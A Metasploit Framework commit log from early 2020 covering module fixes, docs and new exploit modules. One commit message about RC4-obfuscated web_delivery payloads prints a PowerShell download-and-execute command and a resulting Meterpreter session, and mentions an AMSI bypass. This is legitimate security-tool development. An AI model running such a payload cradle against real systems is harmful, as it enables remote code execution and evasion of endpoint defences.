Compare commits

...

2116 Commits

Author SHA1 Message Date
Pearce Barry 98a6147403 Land #13019, Revert "Land #12960, add ttl to job results instantiated from an RPC request" 2020-03-02 16:40:34 -06:00
Jeffrey Martin 908ce3d36b Revert "Land #12960, add ttl to job results instantiated from an RPC request"
This reverts commit ff8bb2e16f, reversing
changes made to ae28463ec6.
2020-03-02 15:58:13 -06:00
Metasploit 8d0816fb37 automatic module_metadata_base.json update 2020-03-02 15:31:51 -06:00
Shelby Pace 12faf3fad5 Land #12959, add eyes of network rce module 2020-03-02 15:22:51 -06:00
Shelby Pace c16edad4e6 add verify_api method, checks on data 2020-03-02 15:10:46 -06:00
Metasploit 333b2e66d1 automatic module_metadata_base.json update 2020-03-02 14:28:37 -06:00
William Vu cc24a572f5 Land #13018, module notes for wvu's recent modules 2020-03-02 14:20:07 -06:00
William Vu cc974e7f25 Add module notes to my recent modules 2020-03-02 14:15:52 -06:00
Metasploit 694f34cdd9 automatic module_metadata_base.json update 2020-03-02 13:28:02 -06:00
Spencer McIntyre 07cc7deae8 Land #13015, updates and fixes for login scanners
This PR updates login scanners to work with stored usernames and
sets the last_attempted_at value in smb_login.
2020-03-02 14:18:48 -05:00
Shelby Pace 75ca930670 add prepend_db_usernames to smb_login 2020-03-02 11:50:19 -06:00
Shelby Pace 8a1bb02e80 set last_attempted_at 2020-03-02 10:48:56 -06:00
Shelby Pace c4b2288f52 enable adding usernames to cred_collection 2020-03-02 10:18:11 -06:00
dwelch-r7 26c529b101 Land #12998, Allows for use of aux as a type in search 2020-03-02 13:20:32 +00:00
dwelch-r7 a2f2af7e97 Land #13012, Fix error handling when a plugin load fails 2020-03-02 11:28:52 +00:00
Alan Foster 7c70245807 Fix error handling when a plugin load fails 2020-03-02 09:16:55 +00:00
Metasploit 67792666ef automatic module_metadata_base.json update 2020-03-01 20:32:12 -06:00
Brent Cook 0fd15cb9c1 Land #13007, add module description for binder_uaf 2020-03-01 20:23:21 -06:00
Pearce Barry 5e3cbaee66 Land #13000, add cmd/unix/reverse_ssh test stub 2020-02-29 09:40:37 -06:00
Tim W dd35086e75 add module description to the binder_uaf module 2020-02-29 11:24:06 +08:00
Metasploit 4bb4afcd75 automatic module_metadata_base.json update 2020-02-28 10:58:33 -06:00
William Vu 91bcd76776 Land #13006, AutoCheck for OpenSMTPD CVE-2020-7247 2020-02-28 10:50:08 -06:00
William Vu e92b9ef97c Use AutoCheck mixin in OpenSMTPD CVE-2020-7247
Also updates the check to be more precise. I had originally copied the
check method from the Morris worm Sendmail exploit:

220 simh Sendmail 5.51/5.17 ready at Wed, 18 Dec 85 11:14:07 PST

Note that there was no "ESMTP" string in 1985's Sendmail.
2020-02-28 10:42:02 -06:00
Metasploit cc5df836a9 Bump version of framework to 5.0.78 2020-02-28 09:01:35 -06:00
Jeffrey Martin cda9fd2a08 lock license_finder at 5.11.1 due to bundler 2.x 2020-02-28 08:57:19 -06:00
kalba-security 755a776a88 Merge branch 'eyesofnetwork_autodiscovery_rce' of https://github.com/kalba-security/metasploit-framework into eyesofnetwork_autodiscovery_rce 2020-02-28 12:23:37 +02:00
kalba-security 5ee7fcaf4a Add simple changes suggested in code review. 2020-02-28 12:14:38 +02:00
Erik Wynter 2c0ea83286 Apply suggestions from code review
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-28 11:29:09 +02:00
William Vu 0693f17170 Land #13005, pry-byebug integration 2020-02-27 11:37:02 -06:00
Alan Foster fc49df003d Integrate pry-byebug 2020-02-27 17:25:17 +00:00
Jeffrey Martin ffd5a0b39d add cmd/unix/reverse_ssh test stub 2020-02-27 09:07:37 -06:00
Metasploit 3b1ead48fa automatic module_metadata_base.json update 2020-02-27 03:00:15 -06:00
William Vu 22fe846b39 Land #13002, Expect mixin cleanup 2020-02-27 02:51:11 -06:00
William Vu 4cd52c5f32 Reorder Expect mixin's send_expect parameters 2020-02-27 02:48:11 -06:00
Metasploit f3c6eeceac automatic module_metadata_base.json update 2020-02-27 02:25:50 -06:00
William Vu 59aa854c5d Land #13001, OpenSMTPD CVE-2020-7247 fixes 2020-02-27 02:16:02 -06:00
William Vu 8820944696 Fix exploit/unix/smtp/opensmtpd_mail_from_rce 2020-02-27 02:11:08 -06:00
Tim W e36db605a6 Land #12907, update unix_users.txt 2020-02-27 15:18:31 +08:00
Metasploit 0292e5c282 automatic module_metadata_base.json update 2020-02-26 10:50:37 -06:00
Spencer McIntyre f2fead66f9 Land #12865, add features to the rdi post module 2020-02-26 11:41:26 -05:00
Spencer McIntyre 061d76ebed Clarify some around new functionality
Add some verbiage that clarifies options and messages regarding
the new functionality privded in the reflective_dll_inject module.
2020-02-26 11:31:34 -05:00
Metasploit b44415a1f6 automatic module_metadata_base.json update 2020-02-26 09:39:17 -06:00
dwelch-r7 1b949807c6 Land #12997, Fix msftidy warnings for commented out refs 2020-02-26 15:30:46 +00:00
Adam Galway 31754f71e4 replaces type:aux with type:auxiliary on search 2020-02-26 15:13:02 +00:00
Alan Foster af9d2a28de Fix msftidy warnings 2020-02-26 14:56:08 +00:00
Metasploit 908bdaa5f9 automatic module_metadata_base.json update 2020-02-26 07:56:03 -06:00
dwelch-r7 40d068ca8c Land #12995, Add support for smbv2 to pipe auditor 2020-02-26 13:49:11 +00:00
Alan Foster ff8bb2e16f Land #12960, add ttl to job results instantiated from an RPC request 2020-02-26 13:42:30 +00:00
Metasploit ae28463ec6 automatic module_metadata_base.json update 2020-02-26 06:28:10 -06:00
dwelch-r7 7d6906b225 Land #12992, Fix a typo 2020-02-26 12:21:12 +00:00
Metasploit d5bdfe7253 automatic module_metadata_base.json update 2020-02-26 06:13:19 -06:00
dwelch-r7 f7a772902b Land #12952, Add additional pry dependencies 2020-02-26 12:02:40 +00:00
dwelch-r7 d26e281787 Land #12994, Remove executable flags from modules 2020-02-26 11:59:47 +00:00
dwelch-r7 89bea26763 Replace results count with something that works and added tests 2020-02-26 11:52:45 +00:00
Alan Foster 353f4281bd Add additional pry dependencies 2020-02-26 11:31:35 +00:00
Christophe De La Fuente 664e235e0b Change vprint_bad to vprint_error 2020-02-26 12:17:59 +01:00
Christophe De La Fuente 071b9598a4 Add support to SMBv2 and remove catch-all exception handler 2020-02-26 11:53:41 +01:00
Alan Foster 6bac1ec2aa Remove executable flags from exploit files 2020-02-26 10:39:50 +00:00
paulkell 094fe9c134 Fix for a simple typo. 2020-02-25 19:59:27 -05:00
dwelch-r7 fdf0447ecf Track results size 2020-02-25 15:39:41 +00:00
dwelch-r7 5c94910998 Add a cache to handle the ttl of job results
Remove accidental addition of gem

Remove commented out code

Remove commented out code

Remove commented out code

Refactor job tracking code, remove simple framework tests

finish renaming service to job_state_tracker

add missing require and move alias definition

fix private attr declaration

Add rspec tests

Address PR comments

Use let syntax in tests

Finish refactor moving job state tracker
2020-02-25 13:31:28 +00:00
Alan Foster 8190ce7644 land #12419, rpc client - add delete credentials support 2020-02-25 10:59:25 +00:00
adfoster-r7 6f8d7726ea Fix host typo 2020-02-25 10:56:47 +00:00
William Vu ec828d3be2 Land #12971, refactor of AutoCheck and CheckModule 2020-02-24 17:49:17 -06:00
bwatters-r7 320de0ffbf Land #12978, Add option powershell::exec_rc4 in web_delivery
Merge branch 'land-12978' into upstream-master
2020-02-24 09:42:28 -06:00
Alan Foster 00df264bc9 Land #12916, Colorize HttpTrace output, add an option to show headers only 2020-02-24 11:42:21 +00:00
Adam Galway 6f33c9ad99 Land #12953 fix rpc module check & adds unit tests 2020-02-24 11:26:38 +00:00
Alan Foster 70927f1db1 Land #12964, Adds RPC call for total modules running, ready, and with results 2020-02-24 11:22:03 +00:00
Adam Galway cff41a6e1c rename rpc call to running_stats 2020-02-24 11:09:54 +00:00
Adrian Vollmer ff9dad2b28 Add option powershell::exec_rc4 in web_delivery
This options makes use of RC4 for obfuscating powershell payloads. See
https://github.com/rapid7/rex-powershell/pull/14.

Now that the PR in rex-powershell has been merged, I am submitting this
PR which provides the new option powershell::exec_rc4 to make use of the
functionality added by the other PR. It enables using unstaged payloads
in web_delivery and obfuscates everything with RC4.

At first I wanted to include an AMSI bypass, but the maintainers were
against it, as it is a rapidly moving target. However, please note that
I'm using the same idea in another project of mine
(https://github.com/AdrianVollmer/PowerHub) and Matt Graber's original
AMSI bypass still works when obfuscating each string with RC4.

For verification and testing, the following output shows the steps you
need to take (here all included in the command line). Obviously, LHOST
needs to be adjusted.

    $ msfconsole -x 'use exploit/multi/script/web_delivery; set target 2; set payload windows/x64/meterpreter_reverse_https; set lhost 192.168.11.2; set powershell::exec_rc4 true; set uripath rc4; run'
    [...]
    15:43:34>192.168.11.2[0] exploit(multi/script/web_delivery) >
    [*] [2019.10.26-15:43:34] Started HTTPS reverse handler on https://192.168.11.2:8443
    [*] [2019.10.26-15:43:34] Using URL: http://0.0.0.0:8080/rc4
    [*] [2019.10.26-15:43:34] Local IP: http://192.168.11.2:8080/rc4
    [*] [2019.10.26-15:43:34] Server started.
    [*] [2019.10.26-15:43:34] Run the following command on the target machine:
    powershell.exe -nop -w hidden -c $K=new-object net.webclient;$K.proxy=[Net.WebRequest]::GetSystemWebProxy();$K.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $K.downloadstring('http://192.168.11.2:8080/rc4');
    [*] [2019.10.26-15:43:37] 192.168.11.3     web_delivery - Delivering Payload (372601) bytes
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Redirecting stageless connection from /ZyJn03h_PH9FDUQPGLkIhww9tmyD1k4jPjMnjneqaASfzgzxsFJHS0VFH8s with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
    [*] [2019.10.26-15:43:38] https://192.168.11.2:8443 handling request from 192.168.11.3; (UUID: rlscader) Attaching orphaned/stageless session...
    [*] Meterpreter session 1 opened (192.168.11.2:8443 -> 192.168.11.3:49820) at 2019-10-26 15:43:38 +0200
    sessions -i 1
    [*] Starting interaction with 1...

    meterpreter > sysinfo
    Computer        : SYSS-AVOLLMER-W
    OS              : Windows 10 (10.0 Build 18362).
    Architecture    : x64
    System Language : de_DE
    Domain          : WORKGROUP
    Logged On Users : 2
    Meterpreter     : x64/windows
2020-02-23 11:32:48 +01:00
Metasploit 43fd35964c automatic module_metadata_base.json update 2020-02-23 03:15:48 -06:00
Brent Cook f59ec03c42 Land #12465, add Android Binder UAF (CVE-2019-2215) 2020-02-23 01:06:33 -08:00
Brent Cook ef8ec13c88 added module docs and testing notes 2020-02-23 01:04:30 -08:00
Brent Cook 15a4fc7499 Land #12914, Update rvm GPG keys in Vagrant provisioner 2020-02-23 00:39:43 -08:00
Brent Cook aac4774551 Land #12951, update module doc template 2020-02-23 00:33:39 -08:00
Brent Cook 0da64cd699 Land #12976, Add additional logging for unknown postgres authtypes 2020-02-23 00:27:02 -08:00
Alan Foster 3ab407d947 Add additional logging for unknown postgres authtypes 2020-02-23 01:27:42 +00:00
Metasploit 011ed3602c automatic module_metadata_base.json update 2020-02-21 19:21:50 -06:00
Tim W 7aa89c9d4e Land #12970, revert reverse_powershell changes 2020-02-22 09:12:51 +08:00
Brent Cook 8a5db82224 Land #12973, update Gemfile.lock 2020-02-21 17:10:11 -06:00
William Vu 957b2f2163 Update Gemfile.lock 2020-02-21 17:05:01 -06:00
William Vu 0b133d28a2 Land #12972, msfvenom Zsh completion fix 2020-02-21 16:45:52 -06:00
Spencer McIntyre c23a4b195e Remove the --help-formats option 2020-02-21 17:40:08 -05:00
Metasploit b6bd7031f8 automatic module_metadata_base.json update 2020-02-21 16:05:25 -06:00
William Vu 7f36cfec84 Refactor CheckModule and AutoCheck a bit 2020-02-21 16:00:29 -06:00
Jeffrey Martin 578bf9999f Land #12955, Update logic for ForceExploit in modules 2020-02-21 15:45:12 -06:00
William Vu fda8b6df3c Note that unsetting HttpTraceColors disables color 2020-02-21 14:39:38 -06:00
William Vu 83e06ab59e DRY send_request_cgi into using send_request_raw 2020-02-21 14:36:58 -06:00
William Vu 0a1313f183 Show both color and banners and refactor code
This is the best of both worlds for visibility and copy/pasted output.
2020-02-21 14:18:58 -06:00
Alan Foster 8a59b8cb1c Ensure thread cleanup 2020-02-21 17:36:20 +00:00
dwelch-r7 eb60fa1de1 Land #12968, Fix aux moules check command 2020-02-21 16:30:16 +00:00
tperry-r7 3d388fff0c Changed application to singular. 2020-02-21 09:30:34 -06:00
Metasploit b5be9402b1 automatic module_metadata_base.json update 2020-02-21 09:27:07 -06:00
bwatters-r7 2db93c9051 Land #12002, Feature/reverse ssh
Merge branch 'land-12002' into upstream-master
2020-02-21 09:17:51 -06:00
Metasploit 5b0eab476a automatic module_metadata_base.json update 2020-02-21 08:58:53 -06:00
Christophe De La Fuente f9077bcd8d Land #12704, OpenNetAdmin 18.1.1 Remote Code Execution exploit 2020-02-21 15:49:26 +01:00
Christophe De La Fuente 5e4b83581a Fix indentation issue 2020-02-21 15:47:32 +01:00
Metasploit 00638f2e41 automatic module_metadata_base.json update 2020-02-21 08:07:23 -06:00
h00die fe0e955dc2 Land #12849, oracle_login docs 2020-02-21 08:58:16 -05:00
h00die f451041d4b oracle_login docs 2020-02-21 08:41:42 -05:00
bwatters-r7 9ef6110b54 Revert "Land #12945, fix the cmd/windows/reverse_powershell payload"
This reverts commit 564895e1a8, reversing
changes made to c1b2762b03.

This appears to make it worse.
2020-02-21 06:53:37 -06:00
Metasploit ae6b3d0bf6 automatic module_metadata_base.json update 2020-02-20 21:19:10 -06:00
bwatters-r7 c9e4ca34c3 Land #12921, Updating regex in ms16_075_reflection_juicy exploit windows version check
Merge branch 'land-12921' into upstream-master
2020-02-20 21:10:37 -06:00
Metasploit 57ddd4b37c automatic module_metadata_base.json update 2020-02-20 21:01:48 -06:00
bwatters-r7 564895e1a8 Land #12945, fix the cmd/windows/reverse_powershell payload
Merge branch 'land-12945' into upstream-master
2020-02-20 20:52:46 -06:00
Onur ER e4456c9006 Update opennetadmin_ping_cmd_injection.md 2020-02-21 04:14:21 +03:00
Onur ER f483b80849 Changed to vars_post 2020-02-21 03:48:12 +03:00
Onur ER 695f6869df Update opennetadmin_ping_cmd_injection.rb 2020-02-21 03:13:44 +03:00
Onur ER f90d605c21 Update modules/exploits/unix/webapp/opennetadmin_ping_cmd_injection.rb
Co-Authored-By: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-02-21 03:07:27 +03:00
Onur ER 1fe1506b42 Update documentation/modules/exploit/unix/webapp/opennetadmin_ping_cmd_injection.md
Co-Authored-By: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
2020-02-21 03:06:56 +03:00
0x44434241 f6e4b52446 Removing dead code. 2020-02-21 08:33:20 +09:00
Brent Cook c1b2762b03 Land #12966, update DisablePayloadHandler warning msg. 2020-02-20 16:46:48 -06:00
Metasploit c309e2325f Bump version of framework to 5.0.77 2020-02-20 12:06:57 -06:00
William Vu de6306fa35 Fix message, once more with feeling 2020-02-20 11:26:21 -06:00
Alan Foster f780d94ec6 Remove dead code for aux scanner modules check 2020-02-20 16:54:25 +00:00
William Vu 9c69059a24 Fix DisablePayloadHandler warning once and for all 2020-02-20 10:35:47 -06:00
Adam Galway 962e39148f renames rpc call 2020-02-20 14:48:25 +00:00
Adam Galway 8425000ff3 renames rpc call to be more readable 2020-02-20 14:13:39 +00:00
Adam Galway 73d2b2cf2c adds rpc call returning all module stats 2020-02-20 14:04:16 +00:00
Metasploit df277e1406 automatic module_metadata_base.json update 2020-02-20 03:52:12 -06:00
Christophe De La Fuente f484e6c83c Land #12862, Apache James 2.3.2 arbitrary file write exploit module 2020-02-20 10:41:13 +01:00
kalba-security c2f13d906b fix sqli get request syntax 2020-02-20 11:38:43 +02:00
mattaberegg a861ad3f21 Payload handler/cleanup improvement 2020-02-19 18:57:08 -08:00
mattaberegg 739928b56a Added line break to docs 2020-02-19 17:56:13 -08:00
Metasploit 29f5a1c425 Bump version of framework to 5.0.76 2020-02-19 13:39:25 -06:00
William Vu de56cde848 Land #12961, vendored Expect library 2020-02-19 13:10:43 -06:00
Adam Cammack ee80e9eb34 Vendor the stdlib expect for Windows sockets
`expect.rb` is part of the `pty` extension to the Ruby stdlib since it
uses `select` and is meant for use with things like pipes or terminals
and Windows does not allow for selecting on those sorts of handles.
Since we only use it for sockets, we can pull it in straight to allow
for use on Windows without building the whole `pty` extension.
2020-02-19 12:56:36 -06:00
bwatters-r7 1aa412ccc0 add some of bcoles suggested fixes 2020-02-19 13:52:38 -05:00
bwatters-r7 f44f200f49 Remove problematic ruby cmd payloads and fix missing require in reverse_ssh 2020-02-19 13:52:38 -05:00
William Vu 7a9ecd76c5 Land #12946, set PAYLOAD normalization 2020-02-19 11:19:51 -06:00
William Vu c5917048fb Make quotes consistent 2020-02-19 11:19:42 -06:00
Adam Galway e25cf99ce3 improved sub! regex 2020-02-19 17:12:28 +00:00
Adam Galway 9b52ece7b7 simplifies start_with? 2020-02-19 17:06:02 +00:00
Metasploit 9010446a48 automatic module_metadata_base.json update 2020-02-19 10:45:52 -06:00
Shelby Pace db8555e007 Land #12942, add Diamorphine privilege escalation 2020-02-19 10:36:39 -06:00
Adam Galway d670276148 Land #12954, fixes typos in CrossChex exploit docs 2020-02-19 15:40:46 +00:00
kalba-security 9980a96917 Move documentation to correct directory 2020-02-19 16:57:38 +02:00
kalba-security 0d0bd865c8 add eyesofnetwork module and docs 2020-02-19 16:33:04 +02:00
dwelch-r7 a8af2a227e Land #12958, Fix broken module doc link 2020-02-19 14:07:25 +00:00
Alan Foster e1cd219d63 Fix broken module documentation link 2020-02-19 13:02:57 +00:00
0x44434241 4288632203 Applied suggestions from rubocop.
Feedback from bwatters-r7
2020-02-19 16:59:08 +09:00
William Vu 7dc1315dac Update logic for ForceExploit in my modules
This lets the user opt out of running check completely.
2020-02-19 01:06:50 -06:00
Metasploit a016ca4b4f automatic module_metadata_base.json update 2020-02-19 00:55:05 -06:00
William Vu ede90ef9a1 Land #12938, CPU vulns for Linux enum_system 2020-02-19 00:46:32 -06:00
Tim W 89dc1aebf8 add stderr output and attempt to fix utf8 2020-02-19 13:28:53 +08:00
William Vu 0264802756 Reformat module doc 2020-02-18 23:28:08 -06:00
William Vu a34ffb3694 Fix typos in module doc 2020-02-18 23:27:15 -06:00
William Vu 6ad9956af8 Correct module doc filename 2020-02-18 23:24:46 -06:00
William Vu 4fa3b25788 Correct language in crosschex_device_bof 2020-02-18 23:18:45 -06:00
William Vu 48ebd500b6 Land #12948, Zsh completions update 2020-02-18 22:21:20 -06:00
0x44434241 028285de77 Refactoring juicy potato check() logic.
Previously, server 2016/19 was not correctly detected and falsely
reporting as vulnerable, because the check was overly trusting the
reported OS name - see PR #355 for a description of the problem.

Furthermore, I discovered a self-introduced bug in the regex of build
detection, which would in some cases first match on '2016' and not the
build number, which would be less than the five-digit build number for
the forseeable future.

Testing data included in PR comments.

Feedback from @bwatters-r7
2020-02-19 11:19:02 +09:00
Metasploit ef108ea71d automatic module_metadata_base.json update 2020-02-18 19:43:32 -06:00
Tim W aa1fdb2075 Land #12724, server AMSI and SBL separately from psh stager in web_delivery 2020-02-19 09:33:25 +08:00
Tim W 516deaaf49 use rex-powershell 0.1.86 2020-02-19 09:29:47 +08:00
Tim W 0d8a86905a fix sessions -K 2020-02-19 08:30:45 +08:00
Tim W 5497876fd2 fix #12579, make reverse_powershell great again 2020-02-19 07:58:59 +08:00
Spencer McIntyre 0bf6d3e645 Fix a ttypo in the _msfconsole zsh completion 2020-02-18 17:25:40 -05:00
Alan Foster 9c987b8271 Add json rpc tests for module checks 2020-02-18 21:43:15 +00:00
Spencer McIntyre fadb51eae3 Make the zsh completion help messages consistent 2020-02-18 13:24:20 -05:00
Spencer McIntyre 7f046a7d89 Update zsh completion definitions 2020-02-18 13:24:20 -05:00
tperry-r7 4de546fa6a Update module doc template
This builds on the changes in https://github.com/rapid7/metasploit-framework/pull/12831 and https://github.com/rapid7/metasploit-framework/pull/12878 to standardize the module documentation. The template matches the changes discussed.
2020-02-18 10:55:13 -06:00
Adam Galway 62eb756fe2 establish parity with #8882 2020-02-18 16:28:44 +00:00
Metasploit 4c11711a44 automatic module_metadata_base.json update 2020-02-18 09:41:22 -06:00
wvu-r7 6718a7dd78 Land #12950, fix for #12949 2020-02-18 09:34:37 -06:00
Brent Cook 9aac803f41 remove a scratchpad line I saved while testing blog link fixes 2020-02-18 09:26:29 -06:00
Metasploit b76e76b00e automatic module_metadata_base.json update 2020-02-18 09:22:58 -06:00
William Vu 6b940a02ca Land #12949, Rapid7 blog reference fixes 2020-02-18 09:14:36 -06:00
Brent Cook 8489bcdfd9 This fixes broken links to the community.rapid7.com blog
Performed mechanically with sed, spot-checked that the new blog can consume these links.
2020-02-18 09:06:11 -06:00
Spencer McIntyre c2326f07c9 Land #12932, optionally show the payload stage
Add the -v flag to optionally show the payload stage in the generate
command.
2020-02-18 08:55:37 -05:00
Adam Galway 235861d4ed removes greedy if 2020-02-18 10:30:36 +00:00
Adam Galway 13784bb35d replaces if statements with regex 2020-02-18 09:51:39 +00:00
Adam Galway 62e5757baa filters /payload/ from set PAYLOAD values 2020-02-17 16:00:58 +00:00
Metasploit e9f8532a68 automatic module_metadata_base.json update 2020-02-17 06:10:06 -06:00
Adam Galway 48ba1026c6 Land 12915, adds windows ssh persistence module 2020-02-17 12:02:49 +00:00
Tim W f630990b3b use random amsi resource url 2020-02-17 10:07:18 +08:00
Metasploit 36f45d5bf3 automatic module_metadata_base.json update 2020-02-16 19:34:53 -06:00
Tim W 808a158c84 Land #12931, fix the OSX password_prompt_spoof prompt module on Mojave and Catalina 2020-02-17 09:23:19 +08:00
Brendan Coles ac6d0e4391 Add Diamorphine Rootkit Signal Privilege Escalation module 2020-02-16 14:53:16 +00:00
Metasploit 8167fee11e automatic module_metadata_base.json update 2020-02-16 08:15:43 -06:00
Brendan Coles 1db1bed08f Land #12892, set default username for mysql and mssql aux login modules
Set default username `sa` for auxiliary/scanner/mssql/mssql_login
Set default username `root` for auxiliary/scanner/mysql/mysql_login

Enable `BLANK_PASSWORDS` option by default for both modules,
as the default users make use of a blank password in by default.
2020-02-16 14:20:56 +00:00
Metasploit c80ab651cb automatic module_metadata_base.json update 2020-02-15 22:25:36 -06:00
Tim W 0bffcd6212 Land #12448, fix cmd/unix/reverse_perl_ssl and cmd/unix/reverse_php_ssl payloads 2020-02-16 12:11:28 +08:00
Brendan Coles d047feeb03 Add check for CPU vulnerability status to enum_system 2020-02-15 14:35:38 +00:00
Metasploit b632a3cc6e automatic module_metadata_base.json update 2020-02-14 21:43:45 -06:00
Brendan Coles f5844ee953 Land #12830, Ensure post/windows/gather/enum_patches gathers all patches 2020-02-15 03:47:43 +00:00
William Vu e315e207f1 Refactor HttpTrace and add color and headers only 2020-02-14 17:13:11 -06:00
William Vu 0aca3f0712 Switch back to if statement 2020-02-14 15:07:12 -06:00
William Vu 137fee2570 Make first pass at colorized HttpTrace output 2020-02-14 15:07:09 -06:00
0x44434241 f61c188e57 Handling possible nil case of regex on OS build.
Feedback from adfoster-r7

Testing of detection:

```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check

[*] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```

Testing of (forced) nil-case:
```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > check
[*] Reloading module...

[!] Could not determine Windows build number - exploiting might fail.
[*] The target is not exploitable.
```
2020-02-14 09:26:04 +09:00
William Vu 7e9bd506d6 Add generate -v to optionally show payload stage 2020-02-13 16:33:48 -06:00
Metasploit 1556a603f0 Bump version of framework to 5.0.75 2020-02-13 12:08:40 -06:00
Metasploit 70d365f6c9 automatic module_metadata_base.json update 2020-02-13 09:58:47 -06:00
dwelch-r7 07954c0ce2 Land #12902, Add exploit module for crosschex buffer overflow 2020-02-13 15:48:10 +00:00
dwelch-r7 0e55e20c9c Land #12902, Add exploit module for crosschex buffer overflow 2020-02-13 15:43:38 +00:00
Francesco Soncina da820f08e6 don't interact with other apps to avoid asking permissions 2020-02-13 16:17:33 +01:00
Francesco Soncina 64c4fec0d0 accept both array or string in report_loot() 2020-02-13 16:12:40 +01:00
Adam Galway 2ca2b5c7bb replaces magic numbers with target fields 2020-02-13 14:17:23 +00:00
0x44434241 fce70c9284 Adjusting print method to better reflect the situation. 2020-02-13 08:02:02 +09:00
dwelch-r7 556ad5f3b7 Land #12927, fix getsockname usage in the SOCKS5 server 2020-02-12 12:30:19 +00:00
Adam Galway cbcf8a2a68 adds to_i and removes default options 2020-02-12 12:04:15 +00:00
Spencer McIntyre d829f2ab43 Fix getsockname usage in the SOCKS5 server 2020-02-11 21:53:36 -06:00
0x44434241 6d73b572c7 Update vulnerable systems documentation.
Feedback from bcoles.
2020-02-12 08:22:43 +09:00
0x44434241 9e46926a0f Update documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-12 08:18:49 +09:00
0x44434241 785dbb6ba3 Update documentation/modules/exploit/windows/local/ms16_075_reflection_juicy.md
Co-Authored-By: bcoles <bcoles@gmail.com>
2020-02-12 08:18:27 +09:00
Adam Galway 8fd3b483d3 improves option descriptions & timeout handling 2020-02-11 15:05:24 +00:00
Adam Galway 946e244c8c Updates docs and adds basic options 2020-02-11 13:40:51 +00:00
Adam Galway a7a80e08a8 Updated docs with platform info 2020-02-11 12:55:07 +00:00
Adam Galway 3395b91c83 adds module documentation 2020-02-10 16:45:44 +00:00
Metasploit d7f92a932e automatic module_metadata_base.json update 2020-02-10 05:42:10 -06:00
Adam Galway 65521270ea Land #12853, InfiniteWP exploit & mixin upgrades 2020-02-10 11:33:49 +00:00
0x44434241 9c30250161 Updating documentation for juicy potato exploit.
Added a link to information on the expiry of the bug, and explicitly
listing which versions of Microsoft Windows were and were not
vulnerable.
2020-02-10 16:33:45 +09:00
0x44434241 25d863d912 Updating regex in exploit windows version check.
This addresses issue #12698, where the Windows OS and build was not
being parsed correctly due to changes in the client.sys.config lib.

Tested against Windows 10 (patched):

```
msf5 exploit(windows/local/ms16_075_reflection_juicy) > rcheck
[*] Reloading module...

[-] Target appears to be patched or not vulnerable (Windows 10 (10.0
Build 18363).)
[*] The target is not exploitable.
```
2020-02-10 15:32:02 +09:00
h00die 91add39ceb extra blank line removed 2020-02-09 19:05:46 -05:00
h00die 65951dd97b nnposter list 2020-02-09 19:04:03 -05:00
b4rtik deb7f4ce14 Update reflective_dll_inject.rb 2020-02-09 13:26:34 +01:00
h00die 3707d4caa6 use default options 2020-02-08 15:31:27 -05:00
mattaberegg a0b6584d19 Added password randomization 2020-02-07 19:14:56 -08:00
mattaberegg e2f2d55ecc Updated check message 2020-02-07 18:34:27 -08:00
mattaberegg 90503b2c61 Documentation cosmetic updates 2020-02-07 18:28:24 -08:00
mattaberegg cb372a54f4 Added info to cleanup message 2020-02-07 16:41:27 -08:00
mattaberegg a05611d756 Improve cleanup functionality 2020-02-07 16:13:25 -08:00
Guillaume Clement 92d2c8f974 Reverting to GPG and original key host. Fixes #12913. 2020-02-07 18:13:59 -05:00
William Vu eab1245eef Update module doc 2020-02-07 12:30:00 -06:00
William Vu a9ae212b27 Replace ForceExploit with AutoCheck mixin 2020-02-07 12:04:57 -06:00
wvu-r7 2ad8a02fd7 Fix version check
Co-Authored-By: adamgalway-r7 <54621924+adamgalway-r7@users.noreply.github.com>
2020-02-07 10:10:28 -06:00
Metasploit 44030bd784 automatic module_metadata_base.json update 2020-02-07 09:33:38 -06:00
Spencer McIntyre 6557cabd65 Land #12900, add teamviewer password recovery 2020-02-07 10:24:12 -05:00
Spencer McIntyre 5a62630309 Add installation steps to the module docs 2020-02-07 10:20:17 -05:00
Spencer McIntyre cbf0d14666 Fix the store_valid_credentials service info 2020-02-07 10:07:41 -05:00
dwelch-r7 54550dba74 tidied up docs 2020-02-07 14:08:51 +00:00
Metasploit 7472a18493 automatic module_metadata_base.json update 2020-02-07 06:45:35 -06:00
Adam Galway b01f02480f Land #12912, removes and aliases jtr modules 2020-02-07 12:38:26 +00:00
Metasploit 10b49979d4 automatic module_metadata_base.json update 2020-02-07 05:54:21 -06:00
Alan Foster 4dcb2fbd96 Land #12889, Add OpenSMTPD MAIL FROM RCE 2020-02-07 11:43:18 +00:00
William Vu 763dbf5d5d Check WordPress version 2020-02-07 03:14:17 -06:00
William Vu 6c59d7c37c Refactor module 2020-02-07 01:38:11 -06:00
William Vu 3b258eeb19 Refactor plugin editing 2020-02-07 01:10:42 -06:00
blurbdust a5a5ea7ded clean up code, update documentation 2020-02-06 22:27:47 -06:00
wvu-r7 6b48337f3d Land #12917, chmod +x tools/dev/msftidy_docs.rb 2020-02-06 19:48:55 -06:00
William Vu 793d5c3342 chmod +x tools/dev/msftidy_docs.rb
a099481f66 failed to do so.
2020-02-06 19:21:07 -06:00
Spencer McIntyre 0d36c99151 Minor code tweaks for PR 12865 before testing 2020-02-06 17:40:44 -05:00
William Vu 8c07e17912 Update module docs 2020-02-06 15:57:54 -06:00
William Vu 3282ec5c55 Change vprint_status to print_status in mixin 2020-02-06 15:43:45 -06:00
Metasploit 374396e7fe automatic module_metadata_base.json update 2020-02-06 15:30:19 -06:00
bwatters-r7 7f3c0c9314 Land #12906, Add module for CVE-2019-19363
Merge branch 'land-12906' into upstream-master
2020-02-06 15:22:17 -06:00
William Vu 68565f575f Update module doc 2020-02-06 14:55:41 -06:00
Shelby Pace 9a8d9c6c88 check arch 2020-02-06 14:11:42 -06:00
Shelby Pace e736588795 change method of exploitation for reliability
This commit changes a few things:
  1. The module first writes the dll to a
     temp location.
